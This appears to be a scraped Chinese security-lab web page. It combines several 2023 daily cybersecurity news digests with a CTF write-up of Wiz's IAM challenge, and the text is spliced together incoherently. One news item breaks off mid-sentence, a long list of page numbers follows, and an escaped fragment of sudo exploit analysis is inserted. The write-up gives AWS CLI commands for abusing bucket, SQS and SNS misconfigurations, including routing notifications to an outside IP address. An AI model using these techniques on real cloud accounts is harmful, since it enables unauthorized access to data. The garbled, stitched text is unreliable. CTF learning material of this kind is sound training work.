SupremeBot恶意软件是一种利用伪装成超级马里奥游戏安装程序的方式传播的恶意软件,它可以在用户的电脑上安装多个恶意组件,包括一个XMR挖矿器、一个SupremeBot挖矿客户端和一个开源的Umbral窃密器。研究人员发现了一个名为“Super-Mario-Bros.exe”的可疑文件,它是一个32位的Nullsoft Installer(NSIS)自解压归档可执行文件,它包含了一个合法的超 4、参与2020年推特大规模黑客攻击的英国人被判五年监禁 https://www.justice.gov/usao-sdny/pr/uk-citizen-sentenced-five-years-prison-cybercrime-offenses Joseph James O’Connor(又名PlugwalkJoe),24岁,是一名英国公民,他参与了2020年7月对推特的大规模黑客攻击,该攻击导致130个知名账号被劫持,并用于实施一场涉及12万美元的加密货币诈骗。O’Connor于上周五在美国纽约南区被判处五年监禁,这是在他一个月多前承认了自己的罪行之后。他于2021年7月在西班牙被捕。美国司法部(DoJ)表示,O’Connor和他的同伙利用了 5、美国航空和西南航空披露影响飞行员的数据泄露事件 https://www.documentcloud.org/documents/23859182-southwest-data-breach-notification-letters 美国航空和西南航空是世界上最大的两家航空公司,它们在近日披露了一起数据泄露事件,该事件是由一家第三方供应商Pilot Credentials的黑客攻击造成的。Pilot Credentials是一家管理多家航空公司的飞行员申请和招聘门户的供应商。美国航空在一份通知信中表示,Pilot Credentials于2023年6月18日通知了美国航空,称其系统于2023年5月24日遭到了未经授权的访问,导致部分美国航空 6、美国卫生部警告医疗行业面临SEO投毒攻击的风险 https://www.hhs.gov/sites/default/files/june-2023-seo-poisoning-analyst-note-tlpclear.pdf 搜索引擎优化(SEO)投毒攻击是一种故意操纵搜索结果,引导用户访问植入恶意软件的网站的攻击方式,这种攻击方式在医疗行业日益增多,美国联邦监管机构发出警告。美国卫生部的卫生部门网络安全协调中心(HHS HC3)发布了一份警报,提醒医疗行业注意SEO投毒攻击的威胁。该警报称,这种攻击方式最近经常针对美国医疗和公共卫生部门。HHS HC3表示,SEO投毒攻击的幕后黑手利用诸如谷歌等搜索引擎,使得第一个广告链接实际上指向攻 7、Fortinet修复了关键的FortiNAC远程命令执行漏洞 https://www.fortiguard.com/psirt/FG-IR-23-074 网络安全解决方案公司Fortinet更新了其零信任访问解决方案FortiNAC,以解决攻击者可利用该漏洞来执行代码和命令。FortiNAC允许组织管理网络范围的访问策略,获得设备和用户的可见性,并保护网络免受未经授权的访问和威胁。该安全问题被跟踪为CVE-2023-33299,严重程度评分为9.6(满分10)。它是不受信任数据的反序列化,可能导致未经身份验证的远程代码执行(RCE)。供应商没有提供缓解建议,因此建议的操作是应用可用的安全更新。CVE-2023-33299是由提供红队、渗透测试和威胁情报 8、美国司法部创建新的国家安全网络部门 https://cybernews.com/security/doj-creates-new-national-security-cyber-section/ 新成立的部门正式简称为 NatSec Cyber,是为了响应美国司法部长办公室在司法部 (DoJ) 2022 年全面网络审查中的核心调查结果而创建。 9、曼彻斯特大学证实在最近的网络攻击中数据被盗 https://www.manchester.ac.uk/discover/news/cyber-incident-update/ 曼彻斯特大学最终证实,六月初披露的网络攻击背后的攻击者窃取了校友和在校学生的数据。该大学于6月9日首次披露了此次攻击 ,警告数据可能被盗,但表示该事件与MOVEit Transfer数据盗窃攻击无关。“根据我们的调查,我们认为一小部分数据被复制,涉及一些学生和一些校友。我们已直接写信给那些可能受到此影响的个人,”该大学表示。“我们尚未发现任何未经授权访问银行账户或银行卡支付详细信息的情况,我们不会在上述系统上存储此类信息。 ”该大学表示,正在与相关当局合作调查这 10、微软发现针对物联网设备和Linux系统的恶意挖矿活动 https://www.microsoft.com/en-us/security/blog/2023/06/22/iot-devices-and-linux-based-systems-targeted-by-openssh-trojan-campaign/ 加密劫持是非法使用计算资源来挖掘加密货币的行为,近年来变得越来越普遍,攻击者围绕攻击工具、基础设施和服务构建网络犯罪框架,通过针对包括物联网在内的各种易受攻击的系统来获取收入。微软研究人员最近发现了一种利用自定义和开源工具来针对面向互联网的基于Linux的系统和物联网设备的攻击。该攻击使用OpenSSH的修补版本来控制受影响的设备并安装 免责声明 以上内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以上内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以上内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。
第2页 第3页 第4页 第5页 第6页 第7页 第8页 第9页 第10页 第11页 第12页 第13页 第14页 第15页 第16页 第17页 第18页 第19页 第20页 第21页 第22页 第23页 第24页 第25页 第26页 第27页 第28页 第29页 第30页 第31页 第32页 第33页 第34页 第35页 第36页 第37页 第38页 第39页 第40页 第41页 第42页 第43页 第44页 第45页 第46页 第47页 第48页 第49页 第50页 第51页 第52页 第53页 第54页 第55页 第56页 第57页 第58页 第59页 第60页 第61页 第62页 第63页 第64页 第65页 第66页 第67页 第68页 第69页 第70页 第71页 第72页 第73页 第74页 第75页 第76页 第77页 第78页 第79页 第80页 第81页 第82页 第83页 第84页 第85页 第86页 第87页 第88页 第89页 第90页 第91页 第92页 第93页 第94页 第95页 第96页 第97页 第98页 第99页 第100页 第101页 第102页 第103页 第104页 第105页 第106页 第107页 第108页 第109页 第110页 第111页 第112页 第113页 第114页 第115页 第116页 第117页 第118页 第119页 第120页 第121页 第122页 第123页 第124页 第125页 第126页 第127页 第128页 第129页 第130页 第131页 第132页 第133页 第134页 第135页 第136页 第137页 第138页 第139页 第140页 第141页 第142页 第143页 第144页 第145页 第146页 第147页 第148页 第149页 第150页 第151页 第152页 第153页 第154页 第155页 第156页 第157页 第158页 第159页 第160页 第161页 第162页 第163页 第164页 第165页 第166页 第167页 第168页 第169页 第170页 第171页 第172页 第173页 第174页 第175页 第176页 第177页 第178页 第179页 第180页 第181页 第182页 第183页 第184页 第185页 第186页 第187页 第188页 第189页 第190页 第191页 第192页 第193页 第194页 第195页 第196页 第197页 第198页 第199页 第200页 第201页 第202页 第203页 第204页 第205页 第206页 第207页
)\r\n612: *dst++ = '\\\\';\r\n613:    *dst++ = *src;\r\n614: }\r\n615: *dst++ = ' ';\r\n616:   }\r\n617:    if (cmnd != dst)\r\n618: dst--;  \u002F* replace last space with a NUL *\u002F\r\n619:    *dst = '\\0';\r\n620: \r\n621:    ac += 2; \u002F* -c cmnd *\u002F\r\n622: }\r\n \r\n\r\n这也是为什么set_cmnd函数需要对参数进行转义,因此若先经过parse_args函数进行反转义,后经过set_cmnd函数进行转义,那么sudo是不会出现漏洞情况的\r\n\r\n绕过检验\r\n\r\n那么如何绕过set_cmnd函数直接进入parse_args函数,才是漏洞能够被成功触发的关键因素\r\n\r\n首先是如何才能过进入set_cmnd函数,sudo会经过两重检测\r\n\r\n\r\nsudo_mode需要具有MODE_RUN、MODE_EDIT或者MODE_CHECK的标志位\r\n\r\n\r\nsudo_mode需要具有MODE_SHELL或者MODE_LOGIN_SHELL的标志位\r\n\r\n\r\nFile: plugins\\sudoers\\sudoers.c\r\n ...\r\n819:     if (sudo_mode & (MODE_RUN | MODE_EDIT | MODE_CHECK)) { \u002F\u002F需要满足标志位的设置才能进入转义的流程\r\n   ...\r\n858:    if (ISSET(sudo_mode, MODE_SHELL|MODE_LOGIN_SHELL)) { \u002F\u002F需要满足标志位的设置才能进入转义的流程\r\n想要获得MODE_SHELL的标志位,则需要设置-s参数,此时通过 SET(flags, MODE_SHELL),将flag设置上MODE_SHELL,并且默认的mode是为NULL,因此设置-s参数可以使得flag即设置MODE_SHELL又设置MODE_RUN。\r\nFile: src\\parse_args.c\r\n479: case 's':\r\n480:    sudo_settings[ARG_USER_SHELL].value = \"true\";\r\n481:    SET(flags, MODE_SHELL);\r\n482:    break;\r\n ...\r\n534: if (!mode)\r\n535:    mode = MODE_RUN; \u002F* running a command *\u002F\r\n536:     }\r\n\r\n但是若使用sudo -s,那么就会导致flag即设置MODE_SHELL又设置MODE_RUN,就会进入parse_args函数的流程,该流程会把所有非字母数字的字符前方增加一个'\\',那么就会导致我们无法构造'' + '\\x00'的漏洞字符,因此想要漏洞利用成功,我们不需要程序进入set_cmd函数,但是不能进入parse_args函数\r\n\r\nFile: src\\parse_args.c\r\n592:     if (ISSET(mode, MODE_RUN) && ISSET(flags, MODE_SHELL)) { \u002F\u002F需要满足标志位的设置才会进入反转义流程\r\n   ...\r\n608:    for (av = argv; *av != NULL; av++) {\r\n609: for (src = *av; *src != '\\0'; src++) {\r\n610:    \u002F* quote potential meta characters *\u002F\r\n611:    if (!isalnum((unsigned char)*src) && *src != '_' && *src != '-' && *src != '
网络安全日报 2023年07月04日
1、研究人员发现恶意软件RUSTBUCKET的新变种 https://www.elastic.co/cn/security-labs/DPRK-strikes-using-a-new-variant-of-rustbucket 近期,研究人员发现了恶意软件RUSTBUCKET的新变种。RUSTBUCKET是一种针对macOS系统的恶意软件家族,该新变种增加了曾经未观察到的持久化功能,这反映了该恶意软件仍处于开发阶段,并且该变种在VirusTotal平台中未被任何引擎检测到。RUSTBUCKET新变种通过在“/Users//Library/LaunchAgents/com.apple.systemupdate.plist”路径中添加一个plist 2、攻击者利用DNS TXT记录传播恶意软件 https://asec.ahnlab.com/en/54916/ DNS TXT记录是一种功能,允许域管理员将文本输入到DNS中,最初被用于记录人类可读的注释,现在则用于显示保存在DNS中的各类信息,例如垃圾邮件防护、域所有权验证等。在近期的一封网络钓鱼邮件中,研究人员发现其附件中的PPAM文件中存在一段宏代码,执行一个PowerShell命令以运行nslookup工具查询DNS TXT记录。攻击者在其DNS TXT命令中上传了各种命令,当DNS TXT记录被查询时这些命令将得到执行,从而达到传播恶意软件的目的。 3、Nessus插件存在权限提升漏洞 https://cybersecuritynews.com/nessus-plugin-flaw/ Tenable开发的Nessus是一款流行的漏洞扫描工具。近期,安全研究人员发现该工具的一个插件中存在权限提升漏洞,攻击者可以在文件系统中的特定位置放置二进制文件,以滥用插件提升权限,此漏洞的CVSS评分为6.3。Tenable已针对该漏洞发布安全补丁,并且Java检测和识别插件已进行更新,以防止此权限提升漏洞被攻击者利用。 4、谷歌浏览器发布114版本修复多个安全漏洞 https://chromereleases.googleblog.com/2023/06/stable-channel-update-for-desktop_26.html 谷歌浏览器发布了适用于Windows系统的114.0.5798.198/199版本以及适用于Mac和Linux系统的114.0.5735.198版本更新,该更新修复了多个安全漏洞。这些安全漏洞被标记为CVE-2023-3420、CVE-2023-3421、CVE-2023-3422。谷歌建议用户尽快将浏览器更新到最新版本,并表示关于这些安全漏洞的详细信息在大多数用户进行更新前将受到限制。 5、美敦力Paceart Optima系统存在严重的RCE漏洞 https://global.medtronic.com/xg-en/product-security/security-bulletins/paceart-optima-system.html Paceart Optima是一款在Windows服务器上运行的应用程序,该程序从心脏监控设备中收集、存储和检索数据,以帮助实现标准的工作流程。美敦力在Paceart Optime系统中的可选消息传递功能中发现了一个漏洞,若医疗服务机构在该系统中启动该服务,则未经授权的攻击者可以利用此漏洞执行远程代码执行或发起拒绝服务攻击,从而导致数据被窃取、删除或篡改,并可能进行进一步的网络攻击。该漏洞存在于Pa 6、研究人员称MOVEit漏洞导致超过1600万人的信息泄露 https://therecord.media/data-of-sixteen-million-exposed-moveit 安全研究人员称,迄今为止,已有1600多万人的信息被黑客利用MOVEit软件中的漏洞进行访问,而这一数字可能只是其中的一小部分。自今年6月1日以来,安全专家就该漏洞发出警告,自此之后美国和欧洲的数十家大型组织机构透露他们受到了该漏洞的影响。一名持续跟踪此次事件的研究人员表示,目前已确认的受害组织机构至少有158个,其中只有11个组织透露了受此次漏洞影响的人数,受影响的总人数可能远多于目前所知人数。 7、Activate Healthcare证实其患者的数据信息遭到泄露 https://www.jdsupra.com/legalnews/activate-healthcare-notifies-patients-7697622/ Activate Healthcare是一家总部位于美国伊利诺伊州的医疗保健供应商,该公司近期证实未经授权的攻击者在2023年4月22日及28日访问其计算机系统,并证实攻击者从计算机系统中窃取了一些文件,其中包含患者的信息。被窃取的患者信息可能包括姓名、社会保险号码、出生日期、地址、驾照号码和临床信息等,该公司已向受到此次数据泄露影响的患者发出了通知。 8、研究人员发现一种绕过语音身份认证的方法 https://uwaterloo.ca/news/media/how-secure-are-voice-authentication-systems-really 安全研究人员发现了一种攻击方法,该方法可以成功绕过语音身份认证,只需6次尝试便可达到99%的成功率。该团队识别了deepfake音频中的由计算机生成的标记,并开发了一个程序删除这些标记,从而无法对其生成的音频和真实音频进行区分。在最近针对Amazon Connect语音认证系统的测试中,他们在一次4秒的攻击中取得了10%的成功率,而在不到30秒的时间内,成功率达到40%以上。针对一些不太复杂的语音认证系统,他们在进行6次尝试后便 9、基于Flutter的安卓恶意软件,瞄准东亚市场 https://thehackernews.com/2023/06/fluhorse-flutter-based-android-malware.html Fortinet FortiGuard实验室研究员Axelle Apvrille在上周发表的一份报告中说,这种恶意软件的出现代表了一种重大转变,因为它直接将恶意组件纳入Flutter代码中。 10、Pornhub被指控在欧洲非法收集数据 https://cybernews.com/privacy/pornhub-accused-of-illegal-data-collection-in-europe/ 意大利已对Pornhub提起诉讼,指控该平台收集并与未知第三方共享有关用户性偏好的信息。 免责声明 以上内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以上内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以上内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。
网络安全日报 2023年07月03日
1、20万个WordPress网站遭利用“Ultimate Member”插件漏洞的攻击 https://www.securityweek.com/200000-wordpress-sites-exposed-to-attacks-exploiting-flaw-in-ultimate-member-plugin/ 攻击者利用 Ultimate Member 插件中的关键漏洞在 WordPress 网站上创建管理帐户。 2、MITRE 更新了 CWE 25 个最危险的软件漏洞 https://www.securityweek.com/mitre-updates-cwe-top-25-most-dangerous-software-weaknesses/ 在 2023 年 CWE Top 25 列表中,释放后使用漏洞和操作系统命令注入漏洞位列前 5 位最危险的软件漏洞。 3、LockBit 勒索组织声称攻击了台积电,并索要 7000 万美元赎金 https://www.securityweek.com/tsmc-says-supplier-hacked-after-ransomware-group-claims-attack-on-chip-giant/ LockBit 勒索软件组织声称对台积电 (TSMC) 进行了黑客攻击,但这家芯片巨头表示,只有其一家供应商遭到入侵。 4、Avast 发布了针对 Windows 版本 Akira 勒索软件的免费解密器 https://securityaffairs.com/148007/cyber-crime/akira-ransomware-decryptor.html Avast 发布了 Akira 勒索软件的免费解密器,可以让受害者无需支付赎金即可恢复数据。 5、伊朗MuddyWater组织使用新型C2框架PhonyC2进行网络攻击 https://www.deepinstinct.com/blog/phonyc2-revealing-a-new-malicious-command-control-framework-by-muddywater 伊朗政府支持的网络间谍组织MuddyWater(又称Mango Sandstorm或Mercury)自2021年起使用了一个名为PhonyC2的新型命令与控制(C2)框架,用于对目标进行渗透和数据窃取。该框架是用Python 3编写的,与MuddyWater之前使用的MuddyC3框架2有很多相似之处,但也有一些改进和更新。PhonyC2框架可以动态生成PowerShell后门, 6、俄罗斯黑客组织通过付费招募志愿者发动DDoS攻击 https://blog.sekoia.io/following-noname05716-ddosia-projects-targets/ DoSia是一个由支持俄罗斯的黑客组织NoName057(16)发起的众包项目,旨在通过付费招募志愿者,对西方目标进行分布式拒绝服务(DDoS)攻击。 7、SAP披露多个严重漏洞,包括可自动传播的利用链 https://sec-consult.com/blog/detail/responsible-disclosure-of-an-exploit-chain-targeting-the-rfc-interface-implementation-in-sap-application-server-for-abap/ SAP是一家提供企业软件解决方案的公司,其产品广泛应用于各行各业。近日,SAP公布了多个影响其产品的严重漏洞,其中最引人关注的是一条可自动传播的利用链,涉及四个漏洞。这条利用链可以让攻击者在没有任何身份验证的情况下,远程执行任意代码,并在SAP系统之间进行横向移动。 8、npm生态系统存在巨大漏洞,可能导致代码执行和数据泄露 https://blog.vlt.sh/blog/the-massive-hole-in-the-npm-ecosystem npm是一个流行的JavaScript包管理器,用于安装和管理开发者所需的各种模块和依赖。然而,近日,一位前npm CLI团队的工程师发现了一个影响npm生态系统的巨大漏洞,可能导致任意代码执行和数据泄露。这个漏洞的根源在于npm处理包清单(package.json)文件的方式。包清单文件是一个描述包属性和依赖的JSON文件,通常包含一些元数据,例如包名、版本、作者、许可证等。然而,npm允许包清单文件中包含任意字段,而不进行任何验证或过滤。这就导致了一个安全问题,即 9、攻击者通过恶意广告传播BlackCat勒索软件 https://www.trendmicro.com/en_us/research/23/f/malvertising-used-as-entry-vector-for-blackcat-actors-also-lever.html 近期,安全研究人员发现攻击者伪造WinSCP的网页传播多种恶意软件,WinSCP是一个用于进行文件传输的开源Windows应用程序。此次攻击活动传播的恶意软件中包括BlackCat勒索软件,并且攻击者传播SpyBoy恶意软件以终止用户电脑中运行的反病毒安全产品。除此之外,攻击者还使用PuTTY传输收集的数据以达到数据泄露的目的。 10、研究人员发现活跃的代理劫持攻击活动 https://www.akamai.com/blog/security-research/proxyjacking-new-campaign-cybercriminal-side-hustle 研究人员发现了一个针对易受攻击的SSH服务器的代理劫持活动,通过代理劫持,攻击者不仅可以窃取资源,还能够利用受害者未使用的宽带以换取经济利益。此次攻击活动利用受感染的Web服务器传播必要的依赖项,检查受害服务器中是否存在竞品并进行终止,采用混淆技术以规避安全产品的检测。研究人员称,代理劫持已成为网络攻击者利用受感染设备获取经济利益的一种新的方式。 免责声明 以上内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以上内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以上内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。
网络安全日报 2023年06月30日
1、Arcserve UDP存在身份验证绕过漏洞利用代码公开 https://github.com/mdsecactivebreach/CVE-2023-26258-ArcServe Arcserve UDP是一种用于数据备份和恢复的软件,它支持多种平台和设备。近日,安全研究人员发现了Arcserve UDP的一个严重漏洞,编号为CVE-2023-26258,该漏洞允许攻击者绕过身份验证,执行任意命令,甚至完全控制受影响的系统。该漏洞影响了Arcserve UDP 7.0.0.0版本及以下,目前还没有官方的补丁或解决方案。安全研究人员已经在GitHub上公开了该漏洞的利用代码,提醒用户尽快升级或禁用Arcserve UDP服务,以防止被黑客攻击。 2、Microsoft Sysmon新增文件创建事件检测功能 https://www.bleepingcomputer.com/news/microsoft/microsoft-sysmon-now-detects-when-executables-files-are-created/ Microsoft Sysmon是一种Windows系统服务和设备驱动程序,它可以在系统重启后持续监控和记录系统活动到Windows事件日志中。它可以提供关于进程创建、网络连接、文件创建时间变化等方面的详细信息。最近,Microsoft Sysmon发布了14.14版本,新增了一个文件创建事件检测功能,该功能可以记录当一个文件被创建或覆盖时的相关信息,如文件名、路径、大 3、8Base勒索软件攻击美国和巴西企业 https://blogs.vmware.com/security/2023/06/8base-ransomware-a-heavy-hitting-player.html 8Base是一种勒索软件组织,自2022年3月以来一直活跃,但在2023年6月出现了大幅的活动增长。8Base的攻击目标涵盖了多个行业,如商业服务、金融、制造和信息技术等。这个组织在其暗网泄露站上提供了受害者的详细信息,以及多种联系方式,包括Telegram频道和Twitter账号。8Base自称是“简单的渗透测试人员”,并使用“.8base”作为加密文件的扩展名。研究人员对8Base的勒索软件进行了分析,发现了一些有趣 4、手机监控应用 LetMeSpy 披露数据泄露事件 https://securityaffairs.com/147968/data-breach/letmespy-disclosed-security-breach.html 手机监控应用程序 LetMeSpy 披露了一个安全漏洞,威胁行为者窃取了与数千名 Android 用户相关的敏感数据,包括消息、位置、通话记录、电子邮件地址和电话号码。 5、美国专利商标局通知申请人长达数年的数据泄露 https://techcrunch.com/2023/06/28/uspto-trademark-data-api-leak/ 美国专利商标局 (USPTO) 在发给受影响商标申请人的通知中表示,他们的私人住所地址(通常是家庭住址)在 2020 年 2 月至 2023 年 3 月期间无意中出现在公共记录中。 6、WordPress 社交登录插件中的严重安全漏洞暴露了用户帐户 https://thehackernews.com/2023/06/critical-security-flaw-in-social-login.html miniOrange 的WordPress社交登录和注册插件中披露了一个严重的安全漏洞,该漏洞可能使恶意行为者能够在用户提供的任何有关电子邮件地址的信息已知的情况下进行登录。该身份验证绕过缺陷被追踪为 CVE-2023-2982(CVSS 评分:9.8),影响所有版本,包括 7.6.4 及之前的版本。该问题已于 2023 年 6 月 14 日得到解决,并于 2023 年 6 月 2 日负责任地披露后发布了 7.6.5 版本。 7、研究人员发现越流行的大语言模型越不安全 https://www.secrss.com/articles/56106 安全研究人员用OpenSSF记分卡对GitHub上50个最流行的生成式AI大语言模型项目的安全性进行了评估,结果发现越流行的大语言模型越危险。 8、新发现的基于 Windows 的恶意软件ThirdEye窃取敏感数据 https://thehackernews.com/2023/06/newly-uncovered-thirdeye-windows-based.html 一种名为ThirdEye的先前未记录的基于 Windows 的信息窃取程序已在野外被发现,具有从受感染主机获取敏感数据的能力。 9、报告称海底电缆遭受网络攻击的风险日益增加 https://www.infosecurity-magazine.com/news/submarine-cables-risk-cyber-attacks/ 一份新报告发现,海底通信电缆日益成为网络威胁行为者的目标,其事件可能会造成全球互联网的巨大破坏。 10、Linux 版本的 Akira 勒索软件针对 VMware ESXi 服务器 https://www.bleepingcomputer.com/news/security/linux-version-of-akira-ransomware-targets-vmware-esxi-servers Akira 勒索软件操作使用 Linux 加密器对 VMware ESXi 虚拟机进行加密,对全球各地的公司进行双重勒索攻击。Akira 首次 出现于 2023 年 3 月,针对各个行业的 Windows 系统,包括教育、金融、房地产、制造和咨询。 免责声明 以上内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以上内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以上内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。
IAM风险CTF挑战赛
wiz启动了一个名为“The Big IAM Challenge”云安全CTF挑战赛。旨在让白帽子识别和利用 IAM错误配置,并从现实场景中学习,从而更好的认识和了解IAM相关的风险。比赛包括6个场景,每个场景都专注于各种AWS服务中常见的IAM配置错误。 Challenge1: Buckets of Fun We all know that public buckets are risky. But can you find the flag? 查看提示获取本关的IAM策略如下: {   "Version": "2012-10-17",   "Statement": [       {           "Effect": "Allow",   //Effect(效果)设置为Allow(允许)           "Principal": "*",   //Principal(主体)是所有用户("*")           "Action": "s3:GetObject", //获取对象           "Resource": "arn:aws:s3:::thebigiamchallenge-storage-9979f4b/*" //指定S3存储桶中的所有对象       },       {           "Effect": "Allow",           "Principal": "*",           "Action": "s3:ListBucket",   //列出存储桶           "Resource": "arn:aws:s3:::thebigiamchallenge-storage-9979f4b",             "Condition": {     //条件是通过前缀限制只能列出以"files/"为前缀的对象               "StringLike": {                   "s3:prefix": "files/*"               }           }       }   ] } 该策略允许任何用户列出"thebigiamchallenge-storage-9979f4b"存储桶中符合前缀条件"files/"的对象。该策略存在如下安全风险: 1、允许任何用户对指定的S3存储桶执行GetObject操作以获取对象的内容。 2、允许任何用户对指定的S3存储桶执行ListBucket操作列出存储桶中符合指定前缀条件的对象 解题思路: 针对s3存储桶权限校验不严格,列出桶资源对象并使用查看对象内容获取flag。 1、获取该存储桶中的对象 aws s3 ls s3://thebigiamchallenge-storage-9979f4b/files/ 得知files目录下存在flag1.txt文件,将其下载到本地,这里提示Read-only file system(只读文件系统)错误,权限问题,我们将其下载到/tmp目录下: aws s3 cp s3://thebigiamchallenge-storage-9979f4b/files/flag1.txt /tmp/flag.txt 另外也可以直接网络访问获取: http://s3.amazonaws.com/thebigiamchallenge-storage-9979f4b/files/flag1.txt 获得flag如下: {wiz:exposed-storage-risky-as-usual} Challenge2: We created our own analytics system specifically for this challenge. We think it's so good that we even used it on this page. What could go wrong? Join our queue and get the secret flag. 查看提示获取本关的IAM策略如下: {   "Version": "2012-10-17",   "Statement": [       {           "Effect": "Allow",           "Principal": "*",           "Action": [               "sqs:SendMessage",     //发送消息               "sqs:ReceiveMessage" //接收消息           ],           "Resource": "arn:aws:sqs:us-east-1:092297851374:wiz-tbic-analytics-sqs-queue-ca7a1b2"       }   ] } 该IAM策略允许任何用户对特定的SQS队列执行SendMessage和ReceiveMessage操作,即发送和接收消息。该策略存在如下安全风险: 1、该策略将操作权限授予了所有用户("*"),意味着任何具有该策略的用户或角色都可以发送和接收消息。 2、该策略没有限制允许访问的用户、角色或其他条件。它允许所有用户执行SendMessage和ReceiveMessage操作。 解题思路: 针对授予特定SQS队列执行ReceiveMessage操作获取队列消息来查找flag。 1、接受消息队列中的信息 aws sqs receive-message --queue-url https://sqs.us-east-1.amazonaws.com/092297851374/wiz-tbic-analytics-sqs-queue-ca7a1b2 2、获取html文件内容 https://tbic-wiz-analytics-bucket-b44867f.s3.amazonaws.com/pAXCWLa6ql.html 获得flag如下: {wiz:you-are-at-the-front-of-the-queue} Challenge3: Enable Push Notifications We got a message for you. Can you get it? 查看提示并获取本关的IAM策略如下: {   "Version": "2008-10-17",   "Id": "Statement1",   "Statement": [       {           "Sid": "Statement1",           "Effect": "Allow",           "Principal": {               "AWS": "*" //允许任何AWS用户           },           "Action": "SNS:Subscribe",       //订阅操作           "Resource": "arn:aws:sns:us-east-1:092297851374:TBICWizPushNotifications",   //主题ARN           "Condition": {               "StringLike": {                   "sns:Endpoint": "*@tbic.wiz.io" //订阅条件               }           }       }   ] } 该策略允许任何AWS用户对指定的SNS主题(ARN为"arn:aws:sns:us-east-1:092297851374:TBICWizPushNotifications")进行订阅操作。订阅条件要求订阅者的Endpoint必须以"*@tbic.wiz.io"结尾。该策略存在如下风险: 全局访问权限:该策略中指定了允许任何AWS用户("*")执行SNS订阅操作。这意味着任何具有有效的AWS凭证的用户都可以订阅该SNS主题。如果此策略不是有意为特定用户或实体设计的,可能存在风险,因为未经授权的用户可以执行订阅操作。 通配符条件:该策略中的条件指定订阅者的Endpoint必须以"*@tbic.wiz.io"结尾。然而,通配符条件可能过于宽松,允许任何以该域名结尾的Endpoint进行订阅,包括未经授权的Endpoint。这可能导致未经授权的实体订阅主题并接收敏感信息或滥用SNS服务。 潜在的信息泄露:由于该策略允许任何人订阅主题,如果主题包含敏感信息或重要通知,可能会导致信息泄露的风险。攻击者可以订阅主题并接收敏感信息,甚至利用该信息进行其他恶意行为。 解题思路: 1、订阅SNS主题 在订阅时由于调阅条件的限制,先尝试将订阅消息发送到email邮箱账号,但是由于我们没有以@tbic.wiz.io为后缀的邮箱账号,因此需要对此处进行绕过。 AWS用户可以使用SNS:Subscribe操作订阅指定的SNS主题: aws sns subscribe --topic-arn <主题ARN> --protocol <协议> --notification-endpoint <订阅者Endpoint> <主题ARN>为实际的SNS主题ARN。所使用的协议有HTTP、HTTPS、Email、SMS等,订阅者的Endpoint具体根据策略中的条件要求。 对该题目设置SNS订阅: aws sns subscribe --topic-arn arn:aws:sns:us-east-1:092297851374:TBICWizPushNotifications --protocol email --notification-endpoint research@tbic.wiz.io 2、订阅条件限制绕过 尝试使用http协议进行代理监听的方式获取订阅消息: aws sns subscribe --topic-arn arn:aws:sns:us-east-1:092297851374:TBICWizPushNotifications --protocol http --notification-endpoint http://43.155.79.163:8443/@tbic.wiz.io 接收到来自sns的订阅确认,消息提示点击SubscribeURL确认订阅消息,等待一会即可接收到附带flag的订阅消息: 获取到flag如下: {wiz:always-suspect-asterisks} Challenge4: Admin only? We learned from our mistakes from the past. Now our bucket only allows access to one specific admin user. Or does it? 查看提示并获取本关的IAM策略如下: {   "Version": "2012-10-17",   "Statement": [       {           "Effect": "Allow",           "Principal": "*",           "Action": "s3:GetObject",           "Resource": "arn:aws:s3:::thebigiamchallenge-admin-storage-abf1321/*"       },       {           "Effect": "Allow",           "Principal": "*",           "Action": "s3:ListBucket",           "Resource": "arn:aws:s3:::thebigiamchallenge-admin-storage-abf1321",           "Condition": {               "StringLike": {                   "s3:prefix": "files/*"               },               "ForAllValues:StringLike": {                   "aws:PrincipalArn": "arn:aws:iam::133713371337:user/admin"               }           }       }   ] } 该策略用于定义对 Amazon S3 存储桶的访问权限。其中包含了两个声明(Statement): 1、声明一允许任何用户存储桶执行GetObject操作,访问thebigiamchallenge-admin-storage-abf1321的s3储存桶资源。 2、声明二允许任何用户对S3存储桶执行ListBucket操作,列出存储桶中的对象。该声明有一个约束条件限制请求中的后缀必须以"files/" 开头,并且访问资源的主体是arn:aws:iam::133713371337:user/admin。 解题思路: 看到声明二中限制的访问资源主体是arn:aws:iam::133713371337:user/admin,便想着如何获取到该用户的凭据,然而在目前的环境中翻遍了各种配置文件和脚本文件都未发现相关凭据泄露,且当下凭据不能用于该访问主体。随后转变思路利用GetObject操作无限制进行目录Fuzz,Fuzz出如下路径: /thebigiamchallenge-admin-storage-abf1321/files/   /thebigiamchallenge-admin-storage-abf1321/files/cache/ /thebigiamchallenge-admin-storage-abf1321/files/tmp/ https://s3.amazonaws.com/thebigiamchallenge-admin-storage-abf1321/files/flag-as-admin.txt 然后再深一次Fuzz,仍无flag相关结果,最终经瑞幸楼少提醒,发现了如下参数的妙用: --no-sign-request 该参数可以用来执行无需身份验证的请求。使用该参数可以跳过对请求进行签名和身份验证的步骤,从而可以在某些情况下执行不需要验证的操作。 aws s3 ls s3://thebigiamchallenge-admin-storage-abf1321/files/ --no-sign-request aws s3 cp s3://thebigiamchallenge-admin-storage-abf1321/files/flag-as-admin.txt /tmp/flag4.txt 获得flag如下: {wiz:principal-arn-is-not-what-you-think} Challenge5: Do I know you? We configured AWS Cognito as our main identity provider. Let's hope we didn't make any mistakes. 查看提示并获取本关的IAM策略如下: {   "Version": "2012-10-17",   "Statement": [       {           "Sid": "VisualEditor0",           "Effect": "Allow",           "Action": [               "mobileanalytics:PutEvents",               "cognito-sync:*"           ],           "Resource": "*"       },       {           "Sid": "VisualEditor1",           "Effect": "Allow",           "Action": [               "s3:GetObject",               "s3:ListBucket"           ],           "Resource": [               "arn:aws:s3:::wiz-privatefiles",               "arn:aws:s3:::wiz-privatefiles/*"           ]       }   ] } 